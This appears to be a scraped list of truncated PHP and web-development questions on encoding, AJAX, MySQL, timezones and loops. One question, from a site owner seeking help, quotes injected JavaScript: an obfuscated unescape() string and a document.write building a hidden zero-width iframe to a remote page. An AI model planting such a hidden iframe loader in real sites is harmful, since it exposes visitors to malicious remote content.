Everything is in the question : I have a Php script that is a UTF-8 file.
In this script I want to do this :
<?
echo "âêïû\n";
?>
If I run it in a MSDOS prompt I get this :
C:\php>php -c C:\WINDOWS\php.ini -f mysqldump.php
âêïû
C:\php>
I've not been able to find the right conversion scheme. I've tried also this code :
$t...
Hi,
$.ajax({
method: "post"
, url: "save.php"
, data: "id=453&action=test"
, beforeSend: function(){
}
, complete: function(){
}
, success: function(html){
$("#mydiv").append(html);
}
});
I have set method type as post but in Save.php I just get values either in $_GET or $_REQ...
In my HTML code, I have a form tag that contains two input boxes, username and password. The form submits the values to a PHP file which validates the values with the database and redirects to another page if the login is successful.
The problem with this approach is that, if AJAX is not involved, it refreshes the page even if the login...
In reading "High performance MySQL" from O'Reilly I've stumbled upon the following
Another common garbage query is SET
NAMES UTF8, which is the wrong way to
do things anyway (it does not change
the client library's character set; it
affects only the server).
I'm a bit confused, because I used to put "SET NAMES utf8" on the ...
I always used a normal PHP file and just defined the variables in that file, but is this considered best practice?
Example:
<?php
define('DB_PASS', 'p@ssw0rd');
?>
...
Currently I am a moderate (in terms of difficulty) when it comes to PHP. I would like to test my knowledge by developing certain utilities using PHP (and maybe SQL). But the problem is that I am not able to find any example projects. Does anyone have any links or some small sample projects?
...
Hello, I need to send a string of html has is like
<total>
<tag>content</tag>
<tag2 ref="333">
<code>somecode</code>
<code>morecode</code>
</tag2>
<tag3> more code </tag3>
</total>
This would go into an array like :
$arra[] = "<tag>content</tag>";
$arra[] = "<tag2 ref="333">";
$arra[] = "<code ... etc
But I'm not figuring out how to...
Where is the most efficient position for a code block, which shall only execute, if a loop has reached its end, without having previously been aborted (via break or return)?
The question seems banal, the answer obvious, nevertheless I am insecure!
Answer from efficiency/theory professionals very welcome!
Provided: "Some Code X" is ...
I have a website, and I just discoverd that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" ...
Im trying to compare words for equality, and the case [upper and lower] is irrelevant.
However PHP does not seem to agree!
Any ideas as to how to force PHP to ignore the case of words while comparing them ??
Any help appreciated!
$arr_query_words = array( "hat","Cat","sAt","maT" );
// for each element in $arr_query_words -
for( $j= 0;...
I have a series of PHPUnit tests to validate a class, "Class A".
I have another class, "Class B" which extends Class A.
Is there a good way to test that "Class B passes Class A's tests", or in other words "Class B behaves like Class A" without duplicating the test code?
I could test for the extends (using instanceof), but that seems li...
I have a text-area where text and an image url is entered.
Text is formatted like this:
my best friend's email is ............
etc
http://www.google.com/intl/en_ALL/images/logo.gif
After the form is submitted, I use mysql_escape_string() to store the value in my database
My problem is image the url has ch...
Hi, I'm currently building a little CMS for a smaller site. Now I want to extract all words from the text_content field and store them in my word table for later analysis.
page( id int,
title varchar(45),
# ... a bunch of meta fields ...
html_content text,
text_content text);
word( page_id int, # Forei...
this is my sp:
CREATE DEFINER=`root`@`localhost` PROCEDURE `getproductname`(in productid int , out productname varchar(200))
BEGIN
select product_name from product where product_id=productid ;
END
and this is my php code:
$mysqli = new mysqli(DB_HOST,DB_USER,DB_PWD,DB_NAME);
$mysqli->query("CALL getproductname(2049,@productn...
How does this make sense?
date_default_timezone_set("America/New_York");
echo date("e"); //output "America/New_York"
echo date("T"); //output "CDT"
Is there somewhere that I can set America/New_York = EDT?
...
So I've tried a bunch of plugins, to no avail. Wordpress continues to foil me with its default behaviours. Here's what's needed:
An events page, which lists the events, and has the time of the event (NOT the time it was posted), location, and an excerpt/blurb/summary
a left sidebar of said events page needs to have a calendar which sho...
When I run this code, About half-way through the concatenation loop, $xml becomes null and remains null throughout the rest of the concatenation loop. Has anyone else ran into this? Or see why this is happening?
$xml = '';
foreach($this->currentColumns['unknown'] as $column => $value)
{
$xml .= "<columnName>";
$xml .= $column;
...
I'm looking to get the current date and time in a UNIX timestamp so I do some calculations but I am not getting the correct time. The date is correct but the time is off. I've already set my timezone so I'm lost on this. Can someone lend a hand?
Thanks.
Here is some of the code I am using:
date_default_timezone_set('America/Los_Ange...
I wrote a PHP program that hooks into syslog-ng (via syslog-ng.conf) and it's basically this:
while (!feof(STDIN)) {
$input = fgets(STDIN);
process($input);
}
cleanup();
where process() and cleanup() are defined by me.
The problem I am facing is that cleanup(2) is never called and I need it to be executed before the program e...
I'm looping through an associative array with a foreach. I'd like to be able to check if the key value pair being handled is the last so I can give it special treatment. Any ideas how I can do this the best way?
foreach ($kvarr as $key => $value){
// I'd like to be able to check here if this key value pair is the last
// so I can...